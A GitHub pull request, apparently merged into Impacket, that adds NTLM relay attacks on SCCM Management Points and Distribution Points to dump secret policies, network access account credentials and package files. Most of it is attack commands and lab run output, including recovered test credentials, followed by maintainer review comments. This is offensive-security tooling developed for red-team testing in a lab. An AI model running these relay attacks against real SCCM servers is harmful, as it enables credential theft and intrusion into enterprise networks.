Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SCCM Management Point and Distribution Point relay attacks implementation #1832

Merged
merged 3 commits into from
Nov 25, 2024

Conversation

q-roland
Copy link
Contributor

@q-roland q-roland commented Oct 9, 2024

This pull request offers an implementation of NTLM relaying attack vectors targeting the HTTP endpoints of SCCM Management Points (for secret policies dumping) and Distribution Points (for sensitive package files retrieval).

To this end, two new attacks related to SCCM are implemented, along with some options for each of them.

$ python3 examples/ntlmrelayx.py --help
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 
[...]
SCCM Policies attack options:
  --sccm-policies       Enable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target 'http://<MP>/ccm_system_windowsauth/request'
  --sccm-policies-clientname SCCM_POLICIES_CLIENTNAME
                        The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account's name
  --sccm-policies-sleep SCCM_POLICIES_SLEEP
                        The number of seconds to sleep after the client registration before requesting secret policies

SCCM Distribution Point attack options:
  --sccm-dp             Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target 'http://<DP>/sms_dp_smspkg$/Datalib'
  --sccm-dp-indexfile SCCM_DP_INDEXFILE
                        The path to the index.json file produced by a previous run of the SCCM DP attack. Providing this argument will skip file indexing
  --sccm-dp-extensions SCCM_DP_EXTENSIONS
                        A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx
  --sccm-dp-files SCCM_DP_FILES
                        The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing

SCCM Policies attack: targeting the Management Point for secret policies retrieval

This SCCM policies attack will attempt to relay the NTLM authentication data of a domain account (ideally a machine account) to the /ccm_system_windowsauth/request HTTP endpoint of a Management Point. It will then register a device in order to retrieve a list of policies. It will then parse this list of policies to extract secret ones and deobfuscate their protected blobs. Note that the proposed implementation is not limited to the NAA policy, but will retrieve all secret policies (including Collection Variables).

The --sccm-policies-clientname allows customizing the client name used for the registered device. It defaults to the currently relayed account for stealth purposes.
The --sccm-policies-sleep allows customizing the time to wait after registration. It may be interesting to raise its default value of 180 seconds to wait for the device to be added to collections on SCCM's side.

NOTE: when relaying an existing machine account in order to register a new device and dump secret policies, it may be possible that the relayed machine account is already associated with an SCCM device. In this case, the machine will temporarily have the wrong device certificates. It will however automatically re-register itself when needing to interact with SCCM.
The policies retrieval attack saves the certificate/private key generated during device registration, so it can be reused (for instance with SCCMSecrets.py - it may be useful if we did not wait long enough for the device to be added to collections) - it is however only possible before the legitimate device re-registers itself and overwrites our certificate.
The advantage of performing secret policies dump while relaying a machine account already associated with an SCCM device is that we will be able to dump the secret policies of this device's collection (and not only default collections).

This attack writes the results in an output directory composed of the device subdirectory (containing device certificate, GUID, name), the raw/json representation of the full policies list, and a subfolder per secret policy. In the secret policy subfolders, the secret policy is written, as well as the cleartext of every deobfuscated secret blobs.

$ python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug  --sccm-policies-sleep 30
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 
[...]

[*] Servers started, waiting for connections
[*] Setting up RAW Server on port 6666
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.60.13, attacking target http://mecm.sccm.lab
[*] HTTP server returned error code 403, treating as a successful login
[*] Authenticating against http://mecm.sccm.lab as SCCMLAB/CLIENT$ SUCCEED
[*] Starting SCCM policies attack
[*] Loot directory is: mecm.sccm.lab_20241009001009_sccm_policies_loot
[*] Generating Private key and client (self-signed) certificate
[*] All targets processed!
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.60.13 controlled, but there are no more targets left!
[*] Registering SCCM client with client name 'CLIENT'
[*] Client registration complete - GUID: 5E038820-B52D-4E04-B979-757946BBF21C
[*] Sleeping for 30 seconds
[*] Policies list retrieved. 53 total policies; 9 secret policies
[*] Processing secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e}
[+] Found 2 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[+] Failed parsing XML on this blob - not XML content
[+] Deobfuscated blob n°2
[+] Failed parsing XML on this blob - not XML content
[*] Retrieved NAA account credentials: 'sccm.lab\sccm-naa:123456789'
[*] Processing secret policy P0120002-P0100009-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[+] Found 1 embedded powershell scripts in blob.
[*] Processing secret policy P0120003-P010000A-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] Processing secret policy P012000A-P0100012-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] Processing secret policy P012000B-P0100013-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] Processing secret policy P012000C-P0100014-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] Processing secret policy P012000D-P0100015-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] Processing secret policy {P0100014}
[+] Processing a CollectionSettings policy to extract collection variables
[+] Found 2 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[+] Failed parsing XML on this blob - not XML content
[+] Deobfuscated blob n°2
[+] Failed parsing XML on this blob - not XML content
[*] Processing secret policy P012000E-P0100011-6F6BCC28
[+] Found 1 obfuscated blob(s) in secret policy.
[+] Deobfuscated blob n°1
[*] DONE - attack finished. Check loot directory mecm.sccm.lab_20241009001009_sccm_policies_loot
[*] You can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.
$ cd mecm.sccm.lab_20241009001009_sccm_policies_loot

$ ls
{3daadbd3-99d0-4223-ac34-13caad9c245e}  {P0100014}                  P0120003-P010000A-6F6BCC28  P012000B-P0100013-6F6BCC28  P012000D-P0100015-6F6BCC28  policies.json
device                                  P0120002-P0100009-6F6BCC28  P012000A-P0100012-6F6BCC28  P012000C-P0100014-6F6BCC28  P012000E-P0100011-6F6BCC28  policies.raw

$ ls \{3daadbd3-99d0-4223-ac34-13caad9c245e\}/
policy.txt  secretBlob_1-NetworkAccessUsername.txt  secretBlob_2-NetworkAccessPassword.txt

$ cat \{3daadbd3-99d0-4223-ac34-13caad9c245e\}/secretBlob_1-NetworkAccessUsername.txt 
Secret property name: NetworkAccessUsername

sccm.lab\sccm-naa

$ cat \{3daadbd3-99d0-4223-ac34-13caad9c245e\}/secretBlob_2-NetworkAccessPassword.txt 
Secret property name: NetworkAccessPassword

str0ngP4ss123!!

SCCM Distribution Point attack: targeting Distribution Points to retrieve sensitive package files

The SCCM Distribution Point attack will attempt to use the relayed NTLM data to authenticate to the /sms_dp_smspkg$/Datalib endpoint of a Distribution Point. This will first allow to index the files stored on the Distribution Point, by browsing the Datalib HTTP file directory structure. Once indexing has been performed, it will download the files with specific extensions.

The --sccm-dp-extensions allows customizing the extensions to look for. Providing an empty string will only perform indexing, nothing else.
The --sccm-dp-indexfile takes the path to an index file already produced by an SCCM Distribution Point attack. This is useful if you have indexed files of a Distribution Point in a previous attack, and you realized that you want to download files with other extensions. Specifying an existing index file (index.json from the loot directory) avoids indexing files again.
The --sccm-dp-files takes the path to a file containing a list of URLs, one by line, to be downloaded from the Distribution Point. This is again useful if you already ran an SCCM Distribution Point attack, and want to download specific files that seem interesting - without downloading all files with a similar extension. Providing this option will not trigger file indexing.

NOTE: I am aware of another pull request that was recently submitted to fetch files from the Distribution Point (#1790). Kudos to ar0dd, I used some elements from his pull request and indicated it in the produced SCCM DP attack file. I however chose a different approach in order to index files from the Distribution Point. Indeed, ad0dd relied on file signatures to find out what files are hosted on the Distribution Point. On my recent SCCM lab environment, it seems like these file signatures are not available by default. I thus chose the Datalib indexing method instead (that is also the default method of sccm-http-looter), which seems more reliable. I also added some more options regarding file download.

Similarly to the SCCM Policies attack, the output is written to a directory. It contains the index.json and index.txt files, representing an index of available files on the Distribution Point (the .txt file has a human-readable format mimicking the Unix tree command). Then, a subfolder is created for each package. The downloaded files are stored in these package subdirectories.

$ python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies 
[...]

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.60.13, attacking target http://mecm.sccm.lab
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://mecm.sccm.lab as SCCMLAB/CLIENT$ SUCCEED
[*] Starting SCCM DP attack
[*] Loot directory is: mecm.sccm.lab_20241009003852_sccm_dp_loot
[+] Performing file indexing from Datalib
[*] All targets processed!
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.60.13 controlled, but there are no more targets left!
[*] Found 9 packages
[+] {'P0100005.1', 'P0100001.1', 'P0100002.2', 'P0100007.1', 'P0100003.2', 'P010000C.1', 'TB4080000A', 'P0100006.1', 'P0100004.2'}
[*] File indexing from Datalib performed
[+] Performing file download
[*] Package P0100005.1 - downloaded file ep_defaultpolicy.xml
[*] Package P0100001.1 - downloaded file Config_AppsAndSettings.xml
[*] Package P0100001.1 - downloaded file Config_AppsOnly.xml
[*] Package P0100001.1 - downloaded file Config_SettingsOnly.xml
[*] Package P0100001.1 - downloaded file MigApp.xml
[*] Package P0100001.1 - downloaded file MigDocs.xml
[*] Package P0100001.1 - downloaded file MigUser.xml
[*] Package P0100001.1 - downloaded file Config_AppsAndSettings.xml
[*] Package P0100001.1 - downloaded file Config_AppsOnly.xml
[*] Package P0100001.1 - downloaded file Config_SettingsOnly.xml
[*] Package P0100001.1 - downloaded file MigApp.xml
[*] Package P0100001.1 - downloaded file MigDocs.xml
[*] Package P0100001.1 - downloaded file MigUser.xml
[*] Package P0100001.1 - downloaded file Config_AppsAndSettings.xml
[*] Package P0100001.1 - downloaded file Config_AppsOnly.xml
[*] Package P0100001.1 - downloaded file Config_SettingsOnly.xml
[*] Package P0100001.1 - downloaded file MigApp.xml
[*] Package P0100001.1 - downloaded file MigDocs.xml
[*] Package P0100001.1 - downloaded file MigUser.xml
[*] Package P010000C.1 - downloaded file JoinDomain.ps1
[*] File download performed
[*] DONE - attack finished. Check loot directory mecm.sccm.lab_20241009003852_sccm_dp_loot
$ cd mecm.sccm.lab_20241009003852_sccm_dp_loot

$ ls
index.json  index.txt  P0100001.1  P0100005.1  P010000C.1

$ cat index.txt | head -n 15
├── P0100005.1/
│   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/ClientUpdate/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/LanguagePack/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/client.msi
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/microsoft.webview2.fixedversionruntime.x86.cab
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/microsoftpolicyplatformsetup.msi
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/mmasetup-i386.exe
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/ndp462-kb3151800-x86-x64-allos-enu.exe
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/vcredist_x86.exe
│   │   └── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/i386/windowsfirewallconfigurationprovider.msi
│   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/x64/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/x64/ClientUpdate/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/x64/LanguagePack/
│   │   ├── http://mecm.sccm.lab/sms_dp_smspkg$/P0100005.1/x64/client.msi

$ cat P010000C.1/JoinDomain.ps1 
$filePath = "C:\tmp\out.txt"
$content = "Task sequence download script"
[...]

The tests regarding this pull request were mainly performed on SCCM version 2403 (5.2403.1171.1000). The source code is heavily inspired by the SCCMSecrets.py tool (https://github.com/synacktiv/SCCMSecrets/), which I also authored.

@anadrianmanrique anadrianmanrique self-assigned this Oct 24, 2024
@anadrianmanrique anadrianmanrique added the medium Medium priority item label Oct 24, 2024
@anadrianmanrique
Copy link
Contributor

Hi @q-roland, I'm currently testing this PR against https://docs.ludus.cloud/docs/environment-guides/sccm/ . So far it's going pretty well. As you mentioned #1790 features a similar implementation, which you used for inspiration as well. Do you see any other improvement that could be integrated from that PR?
From code prespective, there's no much feedback to provide. Changes in requirements.txt don't seem to be necessary, so could you remove it from the PR?

@anadrianmanrique anadrianmanrique added the waiting for response Further information is needed from people who opened the issue or pull request label Oct 28, 2024
@q-roland
Copy link
Contributor Author

Hi @anadrianmanrique,
Thanks for handling this PR, I'm glad the tests are going well.
I just pushed a commit on this pull request to reflect a change I implemented in SCCMSecrets in order to improve the SCCM Distribution Point attack. Now, packages are handled one at a time and progressively added to the index file (instead of indexing everything at once, which proved to cause memory issues for Distribution Point with numerous files).
I also uniformised coding style conventions, and deleted the change in the requirements.txt, that was indeed not needed :)

Regarding PR #1790, I do not have additional elements to integrate here (not much code was actually ported from PR #1790, since the attack implementation itself is replicating SCCMSecrets. The inspiration was rather on the integration with ntlmrelayx)

Do not hesitate if you have any other question or request!
Cheers

@ar0dd
Copy link

ar0dd commented Oct 31, 2024

I like your PR better 👍 🫡

Datalib method can also be disabled though. I've seen that in the wild.

Maybe add both? Try Datalib first, if that doesn't work then try the signature files as a backup? I think that would be the best solution.

https://github.com/badsectorlabs/sccm-http-looter is the OG implementation of both by Erik Hunstad @badsectorlabs

I submitted the PR right before our DEFCON32 Red Team Village talk in hopes it would be merged in but there was no way lol.

@q-roland
Copy link
Contributor Author

q-roland commented Nov 8, 2024

Thanks for the suggestion, you're right it would be interesting to provide a fallback indexing method via files signature if we do not have the Datalib directory listing.

I'Il try to setup an environment with signature files on Distribution Points and integrate the signature files method. I'Il keep you updated.

Cheers

@anadrianmanrique
Copy link
Contributor

thank you @ar0dd for the feedback!!

@anadrianmanrique
Copy link
Contributor

@q-roland is it ok if I merge this one and continue with improvements in a separate PR, or you prefer to have all this changes + improvements in the context of this PR?
TIA

@q-roland
Copy link
Contributor Author

@anadrianmanrique I think merging this PR first would indeed be a good idea. It is functional as-is, and it might take some time on my side to build a test environment and implement the signature method for listing files.

I will open a separate PR once I implemented @ar0dd suggestion to fallback to the signature method, but in my opinion we can merge this PR :)

Thanks!

@anadrianmanrique anadrianmanrique merged commit 463693e into fortra:master Nov 25, 2024
8 checks passed
@anadrianmanrique
Copy link
Contributor

Thank you all! Merging

@anadrianmanrique anadrianmanrique removed the waiting for response Further information is needed from people who opened the issue or pull request label Nov 28, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
medium Medium priority item
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants